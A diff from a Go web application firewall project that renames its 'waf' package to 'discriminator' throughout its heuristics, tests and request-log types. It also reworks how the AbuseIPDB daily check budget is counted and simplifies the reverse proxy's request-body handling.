t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
|
||||
) (*waf.Server, *output, *alerts.Queue) {
|
||||
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
return newWAFWith(t, waf.New, geojsURL, now, env)
|
||||
return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
|
||||
}
|
||||
|
||||
// newWAFWith is newWAF for the server build makes.
|
||||
func newWAFWith(
|
||||
t *testing.T, build func(waf.Params) *waf.Server,
|
||||
// newDiscriminatorWith is newDiscriminator for the server build makes.
|
||||
func newDiscriminatorWith(
|
||||
t *testing.T, build func(discriminator.Params) *discriminator.Server,
|
||||
geojsURL string, now func() time.Time, env map[string]string,
|
||||
) (*waf.Server, *output, *alerts.Queue) {
|
||||
) (*discriminator.Server, *output, *alerts.Queue) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
@@ -466,12 +466,12 @@ func newWAFWith(
|
||||
}
|
||||
}
|
||||
|
||||
coreRuleSet, err := waf.NewCoreRuleSet(cfg)
|
||||
coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("Core Rule Set: %v", err)
|
||||
}
|
||||
|
||||
server := build(waf.Params{
|
||||
server := build(discriminator.Params{
|
||||
Config: cfg,
|
||||
RequestLog: out,
|
||||
ProcessLog: processLog,
|
||||
@@ -516,7 +516,7 @@ func readAnswer(res *http.Response) answer {
|
||||
return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
|
||||
}
|
||||
|
||||
// newRequest makes a request for path to addr, where rproxy or waf listens.
|
||||
// newRequest makes a request for path to addr, where rproxy or discriminator listens.
|
||||
func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
|
||||
t.Helper()
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
|
||||
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
|
||||
// SWW_BAN_RESPONSE.
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
)
|
||||
|
||||
// refusalLimit counts the request once it has been answered, if waf
|
||||
// refusalLimit counts the request once it has been answered, if discriminator
|
||||
// refused it after a rule file match, a trap path or a Core Rule Set match, and
|
||||
// in observe mode if enforce mode would have: more than
|
||||
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"maps"
|
||||
@@ -10,14 +10,14 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||
|
||||
// refused is a request the tests here send, which waf refuses after a rule
|
||||
// refused is a request the tests here send, which discriminator refuses after a rule
|
||||
// file match.
|
||||
type refused int
|
||||
|
||||
@@ -52,7 +52,7 @@ func (r refused) send(s *sender, from string) logLine {
|
||||
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
|
||||
func startForErrorBurst(
|
||||
t *testing.T, threshold string, env map[string]string,
|
||||
) (*sender, *clock, *waf.Server) {
|
||||
) (*sender, *clock, *discriminator.Server) {
|
||||
t.Helper()
|
||||
|
||||
settings := map[string]string{
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
|
||||
// abuseipdb.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
@@ -15,10 +15,10 @@ import (
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// The reputation settings.
|
||||
@@ -125,13 +125,13 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T)
|
||||
for _, tc := range []struct {
|
||||
heuristic string
|
||||
env map[string]string
|
||||
load func(*testing.T, *waf.Server)
|
||||
load func(*testing.T, *discriminator.Server)
|
||||
figures string
|
||||
}{
|
||||
{
|
||||
"blocklists",
|
||||
map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny},
|
||||
func(t *testing.T, server *waf.Server) {
|
||||
func(t *testing.T, server *discriminator.Server) {
|
||||
t.Helper()
|
||||
loadLists(t, server, map[string][]string{dropURL: {client}})
|
||||
},
|
||||
@@ -143,7 +143,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T)
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver,
|
||||
reputationAction: actionDeny,
|
||||
},
|
||||
func(_ *testing.T, server *waf.Server) {
|
||||
func(_ *testing.T, server *discriminator.Server) {
|
||||
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
|
||||
},
|
||||
`{"zones": ["` + dnsblZone + `"]}`,
|
||||
@@ -151,7 +151,7 @@ func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T)
|
||||
{
|
||||
"abuseipdb",
|
||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
|
||||
func(_ *testing.T, server *waf.Server) {
|
||||
func(_ *testing.T, server *discriminator.Server) {
|
||||
loadScores(server, map[string]int64{client: 80})
|
||||
},
|
||||
`{"score": 80, "min_score": 75}`,
|
||||
@@ -494,7 +494,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
||||
for _, tc := range []struct {
|
||||
name string
|
||||
env map[string]string
|
||||
load func(*waf.Server)
|
||||
load func(*discriminator.Server)
|
||||
want []string
|
||||
}{
|
||||
{
|
||||
@@ -502,7 +502,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
||||
map[string]string{
|
||||
dnsblZones: dnsblZone, dnsblResolver: noResolver, reputationAction: actionLog,
|
||||
},
|
||||
func(server *waf.Server) {
|
||||
func(server *discriminator.Server) {
|
||||
loadVerdicts(server, map[string][]string{fromDE: {dnsblZone}})
|
||||
},
|
||||
[]string{"asn=64496", "country=DE", "dnsbl=" + dnsblZone},
|
||||
@@ -510,7 +510,7 @@ func TestReputationSourcesTagTheRequestWhateverTheirAction(t *testing.T) {
|
||||
{
|
||||
abuseipdb,
|
||||
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionLog},
|
||||
func(server *waf.Server) {
|
||||
func(server *discriminator.Server) {
|
||||
loadScores(server, map[string]int64{fromDE: 80})
|
||||
},
|
||||
[]string{abuseipdb, "asn=64496", "country=DE"},
|
||||
@@ -715,7 +715,7 @@ const (
|
||||
// AbuseIPDB.
|
||||
const abuseipdb = reputation.AbuseIPDBSource
|
||||
|
||||
// abuseIPDBURL is where newWAF has clients checked with AbuseIPDB: at
|
||||
// abuseIPDBURL is where newDiscriminator has clients checked with AbuseIPDB: at
|
||||
// abuseIPDBStandIn, which TestMain registers with Go's default transport,
|
||||
// through which AbuseIPDB is asked.
|
||||
const abuseIPDBURL = "abuseipdb://stand-in/api/v2/check"
|
||||
@@ -1075,7 +1075,7 @@ func verdictsFetched() time.Time {
|
||||
// verdictsFetched, as reputation.json would at start: one that lists the
|
||||
// client from each zone listedBy gives for it, and one that does not from
|
||||
// each other zone.
|
||||
func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
||||
func loadVerdicts(server *discriminator.Server, listedBy map[string][]string) {
|
||||
verdicts := make([]reputation.Verdict, 0, len(listedBy)*len(server.DNSBL.Zones()))
|
||||
|
||||
for client, zones := range listedBy {
|
||||
@@ -1093,7 +1093,7 @@ func loadVerdicts(server *waf.Server, listedBy map[string][]string) {
|
||||
// loadScores puts into server's AbuseIPDB the score scores gives each
|
||||
// client, an IPv4 address, fetched at verdictsFetched, as reputation.json
|
||||
// would at start.
|
||||
func loadScores(server *waf.Server, scores map[string]int64) {
|
||||
func loadScores(server *discriminator.Server, scores map[string]int64) {
|
||||
kept := make([]reputation.Score, 0, len(scores))
|
||||
for client, score := range scores {
|
||||
kept = append(kept, reputation.Score{
|
||||
@@ -1107,7 +1107,7 @@ func loadScores(server *waf.Server, scores map[string]int64) {
|
||||
|
||||
// wantAbuseIPDBChecks checks how many clients server has checked with
|
||||
// AbuseIPDB.
|
||||
func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
|
||||
func wantAbuseIPDBChecks(t *testing.T, server *discriminator.Server, want int) {
|
||||
t.Helper()
|
||||
|
||||
if got := server.AbuseIPDB.Checked(); got != want {
|
||||
@@ -1117,7 +1117,7 @@ func wantAbuseIPDBChecks(t *testing.T, server *waf.Server, want int) {
|
||||
|
||||
// loadLists puts copies of lists into server's lists, by URL, each with
|
||||
// its lines, fetched at listsFetched, as reputation.json would at start.
|
||||
func loadLists(t *testing.T, server *waf.Server, copies map[string][]string) {
|
||||
func loadLists(t *testing.T, server *discriminator.Server, copies map[string][]string) {
|
||||
t.Helper()
|
||||
|
||||
lists := make([]reputation.List, 0, len(copies))
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -17,7 +17,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/rules"
|
||||
)
|
||||
|
||||
// refusal is waf refusing a request: the status the visitor is to get, 0
|
||||
// refusal is discriminator refusing a request: the status the visitor is to get, 0
|
||||
// to close its connection without an answer, and the action the log line names.
|
||||
type refusal struct {
|
||||
status int
|
||||
@@ -25,7 +25,7 @@ type refusal struct {
|
||||
}
|
||||
|
||||
// decision is what the checks note of a request: its log line, and what
|
||||
// counting the request needs once it has ended. waf keeps a copy of it
|
||||
// counting the request needs once it has ended. discriminator keeps a copy of it
|
||||
// until the request's report comes. It holds no credentials, since the log line
|
||||
// never does, and neither the request's objects nor their bodies.
|
||||
type decision struct {
|
||||
@@ -34,7 +34,7 @@ type decision struct {
|
||||
// requestURI is the path with the query, as a ban's notes keep it.
|
||||
requestURI string
|
||||
// site is, for a question, the host the visitor asked for, which the
|
||||
// alerts name, since one waf serves many sites.
|
||||
// alerts name, since one discriminator serves many sites.
|
||||
site string
|
||||
// allowed is true for a question answered with DispositionAllow.
|
||||
allowed bool
|
||||
@@ -63,7 +63,7 @@ type decision struct {
|
||||
reputation []bans.ReputationHit
|
||||
}
|
||||
|
||||
// request is one request to waf, from the moment its headers have been
|
||||
// request is one request to discriminator, from the moment its headers have been
|
||||
// read to its log line.
|
||||
type request struct {
|
||||
decision
|
||||
@@ -373,7 +373,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
|
||||
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
|
||||
}
|
||||
|
||||
// responseWriter is waf's answer to a request. It notes the status and
|
||||
// responseWriter is discriminator's answer to a request. It notes the status and
|
||||
// size for the log line, and the first error writing the answer.
|
||||
type responseWriter struct {
|
||||
http.ResponseWriter
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -11,9 +11,9 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -105,7 +105,7 @@ func wantFullLine(t *testing.T, line logLine) {
|
||||
headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
|
||||
|
||||
want := withTimings(line, requestlog.Line{
|
||||
Type: requestType, WAFLine: requestlog.WAFLineReport,
|
||||
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
|
||||
Time: line.Time, Instance: instance,
|
||||
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
|
||||
Host: appHost, Path: "/full", Protocol: protocol,
|
||||
@@ -131,7 +131,7 @@ func wantBareLine(t *testing.T, line logLine) {
|
||||
t.Helper()
|
||||
|
||||
want := withTimings(line, requestlog.Line{
|
||||
Type: requestType, WAFLine: requestlog.WAFLineReport,
|
||||
Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
|
||||
Time: line.Time, Instance: instance,
|
||||
ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
|
||||
Host: appHost, Path: "/bare", Protocol: protocol,
|
||||
@@ -221,7 +221,7 @@ func TestTimingsAreInOrder(t *testing.T) {
|
||||
wantStatus(t, do(t, req), http.StatusForbidden)
|
||||
refused := out.endedLines(t, 2)[1]
|
||||
|
||||
wantStatus(t, get(t, server.Addr, waf.HealthPath), http.StatusOK)
|
||||
wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
|
||||
health := out.endedLines(t, 3)[2]
|
||||
|
||||
// A request passed to the app has every timing; one refused, none of
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
@@ -10,8 +10,8 @@ import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
|
||||
@@ -58,7 +58,7 @@ func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
|
||||
// waitForRouteWatch waits until routewatch's answer about from, in the client
|
||||
// group of the given length, is kept, so that the next request gets its tags.
|
||||
func waitForRouteWatch(
|
||||
t *testing.T, server *waf.Server, from string, bits int,
|
||||
t *testing.T, server *discriminator.Server, from string, bits int,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic rule_files. It reads the rules of the rule files, which
|
||||
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_deny. It reads SWW_TAG_DENY.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic tag_lists. It reads the address lists of SWW_TAG_LISTS through
|
||||
// the reputation lists.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic trap_paths. It reads SWW_TRAP_PATHS.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
@@ -26,7 +26,7 @@ type FileParams struct {
|
||||
// Path is the lookup database, the IPinfo Lite file in its .mmdb form
|
||||
// (SWW_LOOKUP_DB_PATH).
|
||||
Path string
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
// Now tells the time, normally time.Now.
|
||||
Now func() time.Time
|
||||
// ProcessLog receives each reading of the file, and why a replacement
|
||||
// of it cannot be read.
|
||||
|
||||
@@ -74,7 +74,7 @@ type Params struct {
|
||||
// Answered, unless nil, is given each answer GeoJS gives, once it is
|
||||
// kept.
|
||||
Answered func(Answer)
|
||||
// Now tells the time, normally time.Now in UTC.
|
||||
// Now tells the time, normally time.Now.
|
||||
Now func() time.Time
|
||||
// ProcessLog receives GeoJS's failures.
|
||||
ProcessLog *slog.Logger
|
||||
|
||||
@@ -92,7 +92,7 @@ type History struct {
|
||||
ASName string `json:"as_name,omitempty"`
|
||||
Country string `json:"country,omitempty"`
|
||||
LookedUp time.Time `json:"looked_up,omitzero"`
|
||||
// Requests are all the client's requests: Forwarded those waf allowed,
|
||||
// Requests are all the client's requests: Forwarded those discriminator allowed,
|
||||
// Refused those it refused, and neither those for a path under
|
||||
// /_sww/.
|
||||
Requests int64 `json:"requests"`
|
||||
@@ -136,7 +136,7 @@ type Offences struct {
|
||||
|
||||
// Request is what a client's history keeps of one of its requests.
|
||||
type Request struct {
|
||||
// Forwarded is true for a request waf allowed, and Refused for one it
|
||||
// Forwarded is true for a request discriminator allowed, and Refused for one it
|
||||
// refused. Both are false for a request for a path under /_sww/.
|
||||
Forwarded bool
|
||||
Refused bool
|
||||
|
||||
@@ -14,7 +14,6 @@ import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"cloud.google.com/go/civil"
|
||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||
)
|
||||
@@ -28,6 +27,8 @@ const (
|
||||
AbuseIPDBSource = "abuseipdb"
|
||||
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
|
||||
maxAnswerBytes = 64 << 10
|
||||
// day is the length of the day the checks are counted in, in UTC.
|
||||
day = 24 * time.Hour
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -49,9 +50,9 @@ type Score struct {
|
||||
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
|
||||
// first, and the scores still in use.
|
||||
type Checks struct {
|
||||
Day civil.Date `json:"day,omitzero"`
|
||||
Spent int `json:"spent"`
|
||||
Scores []Score `json:"scores"`
|
||||
Day time.Time `json:"day,omitzero"`
|
||||
Spent int `json:"spent"`
|
||||
Scores []Score `json:"scores"`
|
||||
}
|
||||
|
||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||
@@ -92,7 +93,7 @@ type AbuseIPDB struct {
|
||||
// checking are the clients whose check is under way.
|
||||
checking map[netip.Prefix]bool
|
||||
// day is the day, in UTC, of the checks spent counts.
|
||||
day civil.Date
|
||||
day time.Time
|
||||
spent int
|
||||
// checks and failures count the checks made and those that failed,
|
||||
// and retryAt is when a client may be checked again after the last
|
||||
@@ -142,7 +143,7 @@ func (a *AbuseIPDB) Hit(
|
||||
return kept.Score, kept.Score >= a.params.MinScore
|
||||
}
|
||||
|
||||
if today := civil.DateOf(now.UTC()); a.day != today {
|
||||
if today := now.Truncate(day); !a.day.Equal(today) {
|
||||
a.day, a.spent = today, 0
|
||||
}
|
||||
|
||||
@@ -189,7 +190,7 @@ func (a *AbuseIPDB) BudgetLeft() int {
|
||||
a.mu.Lock()
|
||||
defer a.mu.Unlock()
|
||||
|
||||
if a.day != civil.DateOf(a.params.Now().UTC()) {
|
||||
if !a.day.Equal(a.params.Now().Truncate(day)) {
|
||||
return a.params.DailyBudget
|
||||
}
|
||||
|
||||
|
||||
@@ -202,43 +202,6 @@ func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
||||
})
|
||||
}
|
||||
|
||||
func TestChecksAreCountedInUTCDaysWhateverTheClocksZone(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
synctest.Test(t, func(t *testing.T) {
|
||||
// A clock 14 hours ahead of UTC, whose day starts at 10:00 UTC.
|
||||
ahead := time.FixedZone("UTC+14", 14*60*60)
|
||||
p := abuseIPDBParams()
|
||||
p.DailyBudget = 1
|
||||
p.Now = func() time.Time { return time.Now().In(ahead) }
|
||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
||||
checker := newAbuseIPDB(abuseIPDB, p)
|
||||
|
||||
// At 09:00 UTC the one check is spent.
|
||||
time.Sleep(9 * time.Hour)
|
||||
hitFrom(t, checker, suspect, true)
|
||||
synctest.Wait()
|
||||
wantBudgetLeft(t, checker, 0)
|
||||
|
||||
// At 11:00 UTC the clock's day has changed, but the UTC day has not.
|
||||
time.Sleep(2 * time.Hour)
|
||||
wantBudgetLeft(t, checker, 0)
|
||||
|
||||
encoded, err := json.Marshal(checker.Snapshot())
|
||||
if err != nil {
|
||||
t.Fatalf("encode: %v", err)
|
||||
}
|
||||
|
||||
if !strings.Contains(string(encoded), `"day":"2000-01-01"`) {
|
||||
t.Errorf("reputation.json would hold %s, want the day 2000-01-01", encoded)
|
||||
}
|
||||
|
||||
// At 00:00 UTC the budget is whole again.
|
||||
time.Sleep(13 * time.Hour)
|
||||
wantBudgetLeft(t, checker, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
// Package requestlog writes the lines sww prints on stdout: one
|
||||
// JSON object per request, two from waf and a short one from rproxy,
|
||||
// JSON object per request, two from discriminator and a short one from rproxy,
|
||||
// marked "type":"request", and the process's own messages as JSON lines marked
|
||||
// "type":"process".
|
||||
package requestlog
|
||||
@@ -14,9 +14,9 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
)
|
||||
|
||||
// The action a request line names: what waf did with the request.
|
||||
// The action a request line names: what discriminator did with the request.
|
||||
const (
|
||||
// ActionForward is a request waf allowed, which rproxy passes to
|
||||
// ActionForward is a request discriminator allowed, which rproxy passes to
|
||||
// the app.
|
||||
ActionForward = "forward"
|
||||
|
||||
@@ -55,7 +55,7 @@ const (
|
||||
// ActionCountryDenied is a request refused because its client's country
|
||||
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
|
||||
ActionCountryDenied = "country_denied"
|
||||
// ActionOwnEndpoint is a request waf answered at one of its own
|
||||
// ActionOwnEndpoint is a request discriminator answered at one of its own
|
||||
// endpoints, or a question about a path under /_sww/.
|
||||
ActionOwnEndpoint = "own_endpoint"
|
||||
)
|
||||
@@ -69,14 +69,14 @@ const OffenceLimit = "limit"
|
||||
// that broke the error burst.
|
||||
const LimitHitMinuteRefusals = "minute_refusals"
|
||||
|
||||
// The waf_line a request line names, which says which of
|
||||
// waf's two lines about a question it is.
|
||||
// The discriminator_line a request line names, which says which of
|
||||
// discriminator's two lines about a question it is.
|
||||
const (
|
||||
// WAFLineDecision is waf's line at its decision.
|
||||
WAFLineDecision = "decision"
|
||||
// WAFLineReport is waf's line when rproxy's report
|
||||
// DiscriminatorLineDecision is discriminator's line at its decision.
|
||||
DiscriminatorLineDecision = "decision"
|
||||
// DiscriminatorLineReport is discriminator's line when rproxy's report
|
||||
// comes, with the decision's fields and the report's together.
|
||||
WAFLineReport = "report"
|
||||
DiscriminatorLineReport = "report"
|
||||
)
|
||||
|
||||
// timeLayout is RFC 3339 with milliseconds.
|
||||
@@ -89,9 +89,9 @@ const timeLayout = "2006-01-02T15:04:05.000Z07:00"
|
||||
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
|
||||
type Line struct {
|
||||
Type string `json:"type"`
|
||||
// WAFLine is WAFLineDecision or WAFLineReport
|
||||
// on waf's two lines about a question.
|
||||
WAFLine string `json:"waf_line,omitempty"`
|
||||
// DiscriminatorLine is DiscriminatorLineDecision or DiscriminatorLineReport
|
||||
// on discriminator's two lines about a question.
|
||||
DiscriminatorLine string `json:"discriminator_line,omitempty"`
|
||||
|
||||
// The standard web log fields. Scheme is how the client reached rproxy, or
|
||||
// the trusted proxy in front of it.
|
||||
@@ -111,7 +111,7 @@ type Line struct {
|
||||
UserAgent string `json:"user_agent"`
|
||||
|
||||
// Request detail. RequestID is the id rproxy made for the request, or for a
|
||||
// request to waf's own endpoints a new one. ForwardedFor is the
|
||||
// request to discriminator's own endpoints a new one. ForwardedFor is the
|
||||
// X-Forwarded-For header as received. ClientGroup is the netblock the
|
||||
// client is counted as. ASN, ASName and Country are the client's AS
|
||||
// number, AS name and country, as looked up.
|
||||
@@ -131,7 +131,7 @@ type Line struct {
|
||||
HasAuthorization bool `json:"has_authorization,omitempty"`
|
||||
HasCookie bool `json:"has_cookie,omitempty"`
|
||||
|
||||
// Response detail, of waf's own answer. Aborted is true when
|
||||
// Response detail, of discriminator's own answer. Aborted is true when
|
||||
// rproxy, or the admin's tool, went away before the answer.
|
||||
ResponseContentType string `json:"response_content_type,omitempty"`
|
||||
Aborted bool `json:"aborted,omitempty"`
|
||||
@@ -142,7 +142,7 @@ type Line struct {
|
||||
// taken with a request it would have refused: ActionClientDenied,
|
||||
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
|
||||
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
|
||||
// ActionBlockedByCoreRuleSet, or, in waf,
|
||||
// ActionBlockedByCoreRuleSet, or, in discriminator,
|
||||
// ActionRequestHeaderTooLarge for the header limits.
|
||||
WouldAction string `json:"would_action,omitempty"`
|
||||
// Heuristic is the name of the heuristic that refused the request, in
|
||||
@@ -151,7 +151,7 @@ type Line struct {
|
||||
Heuristic string `json:"heuristic,omitempty"`
|
||||
HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
|
||||
// AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
|
||||
// the heuristic that banned the client after waf answered the
|
||||
// the heuristic that banned the client after discriminator answered the
|
||||
// request.
|
||||
AfterAnswerHeuristic string `json:"after_answer_heuristic,omitempty"`
|
||||
AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
|
||||
@@ -231,7 +231,7 @@ type RProxyLine struct {
|
||||
// sooner. DurationResponseMS runs from then until the answer ends.
|
||||
DurationRequestMS float64 `json:"duration_request_ms"`
|
||||
DurationResponseMS float64 `json:"duration_response_ms"`
|
||||
// Disposition is the valid disposition waf answered or, while
|
||||
// Disposition is the valid disposition discriminator answered or, while
|
||||
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
|
||||
// when neither gave one.
|
||||
Disposition string `json:"disposition,omitempty"`
|
||||
|
||||
@@ -6,7 +6,6 @@ import (
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
@@ -32,24 +31,11 @@ type requestBody struct {
|
||||
received atomic.Bool
|
||||
// bytes is how much of the body has been read.
|
||||
bytes atomic.Int64
|
||||
|
||||
// mu is held for the whole of each Read, and guards stopped.
|
||||
mu sync.Mutex
|
||||
// stopped is true once the body no longer goes to the app; Read then reads
|
||||
// no more.
|
||||
stopped bool
|
||||
}
|
||||
|
||||
// Read reads from the visitor's body, after the part held, which has been
|
||||
// counted already.
|
||||
func (b *requestBody) Read(p []byte) (int, error) {
|
||||
b.mu.Lock()
|
||||
defer b.mu.Unlock()
|
||||
|
||||
if b.stopped {
|
||||
return 0, http.ErrBodyReadAfterClose
|
||||
}
|
||||
|
||||
if len(b.held) > 0 {
|
||||
n := copy(p, b.held)
|
||||
b.held = b.held[n:]
|
||||
@@ -74,11 +60,9 @@ func (b *requestBody) Read(p []byte) (int, error) {
|
||||
return n, err
|
||||
}
|
||||
|
||||
// Close does nothing: Go's server closes the visitor's body once the handler
|
||||
// returns. Closing it earlier, as the transport and ReverseProxy do, would wait
|
||||
// for a Read in progress and then read up to 256 KiB more of the body.
|
||||
// Close closes the visitor's body.
|
||||
func (b *requestBody) Close() error {
|
||||
return nil
|
||||
return b.body.Close()
|
||||
}
|
||||
|
||||
// responseBody is the app's response body on its way to the visitor.
|
||||
@@ -179,8 +163,6 @@ type responseWriter struct {
|
||||
// status is the final status sent, or zero before one is.
|
||||
status int
|
||||
bytes int64
|
||||
// afterStatus, if set, is called once the final status has been written.
|
||||
afterStatus func()
|
||||
}
|
||||
|
||||
// WriteHeader sends the status and headers. An informational 1xx status is
|
||||
@@ -191,10 +173,6 @@ func (w *responseWriter) WriteHeader(status int) {
|
||||
}
|
||||
|
||||
w.ResponseWriter.WriteHeader(status)
|
||||
|
||||
if status >= http.StatusOK && w.afterStatus != nil {
|
||||
w.afterStatus()
|
||||
}
|
||||
}
|
||||
|
||||
// Write sends part of the body.
|
||||
|
||||
